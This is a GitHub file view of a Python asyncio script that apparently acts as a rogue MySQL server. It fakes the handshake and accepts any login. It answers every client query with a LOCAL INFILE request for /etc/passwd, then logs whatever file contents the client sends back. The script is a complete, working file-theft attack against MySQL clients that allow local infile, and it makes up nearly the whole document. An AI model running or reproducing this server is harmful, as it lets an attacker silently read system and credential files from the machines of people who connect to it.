-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.py
119 lines (99 loc) · 3.74 KB
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import struct
import asyncio
import logging
import sys
class ColoredFormatter(logging.Formatter):
COLORS = {
'DEBUG': '\033[94m', # blue
'INFO': '\033[92m', # green
'WARNING': '\033[93m', # yellow
'ERROR': '\033[91m', # red
'CRITICAL': '\033[95m', # purple
'RESET': '\033[0m' # reset
}
def format(self, record):
levelname = record.levelname
record.levelname = f'{self.COLORS[levelname]}[{levelname}]{self.COLORS["RESET"]}'
result = logging.Formatter.format(self, record)
record.levelname = levelname
return result
log = logging.getLogger(__name__)
log.setLevel(logging.DEBUG)
log_handler = logging.StreamHandler(sys.stdout)
log_handler.setFormatter(ColoredFormatter('%(levelname)s: %(message)s'))
log.addHandler(log_handler)
class Packet():
def __init__(self, seq:int, payload: bytes) -> None:
self.seq = seq
self.payload = payload
def __bytes__(self):
length = len(self.payload)
if length < 65536:
header = struct.Struct('<Hbb').pack(length, 0, self.seq)
else:
header = struct.Struct('<Hbb').pack(length & 0xFFFF, length >> 16, 0, self.seq)
result = header + self.payload
return result
def tobytes(self):
return self.__bytes__()
async def handler(reader:asyncio.StreamReader, writer:asyncio.StreamWriter):
async def handle_auth():
length = int.from_bytes(await reader.readexactly(3), 'little') + 1
data = await reader.readexactly(length)
reply = Packet(data[0]+1, b'\0\0\0\x02\0\0\0')
writer.write(reply.tobytes())
await writer.drain()
log.info(writer.transport.get_extra_info('peername'))
hello = Packet(
0,
b"".join((
b'\x0a', # Protocol
b'5.6.28-0ubuntu1.14.51.4_by_ppk' + b'\0',
b'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
))
).tobytes()
writer.write(hello)
await writer.drain()
await handle_auth()
while 1:
if writer.is_closing():
break
length = int.from_bytes(await reader.readexactly(3), 'little') + 1
data = await reader.readexactly(length)
# seq = data[0]
if len(data) <= 1:
continue
p = Packet(data[0], data[1:])
cmd = p.payload[0]
match cmd:
case 0x00: pass
case 0x01:
log.info('close')
writer.close()
await writer.wait_closed()
case 0x02:
reply = Packet(p.seq + 1, b'\0\0\0\x02\0\0\0')
writer.write(reply.tobytes())
await writer.drain()
case 0x03:
log.info('query')
filename = '/etc/passwd'
reply = Packet(p.seq + 1, b'\xFB' + filename.encode())
writer.write(reply.tobytes())
await writer.drain()
case 0x1b:
log.info('select db')
reply = Packet(p.seq + 1, b'\xfe\x00\x00\x02\x00')
writer.write(reply.tobytes())
await writer.drain()
case _:
log.info(p.payload)
reply = Packet(p.seq + 1, b'\0\0\0\x02\0\0\0')
writer.write(reply.tobytes())
await writer.drain()
log.info('one packet handled')
async def main():
server = await asyncio.start_server(handler, '0.0.0.0', 3306)
async with server:
await server.serve_forever()
asyncio.run(main())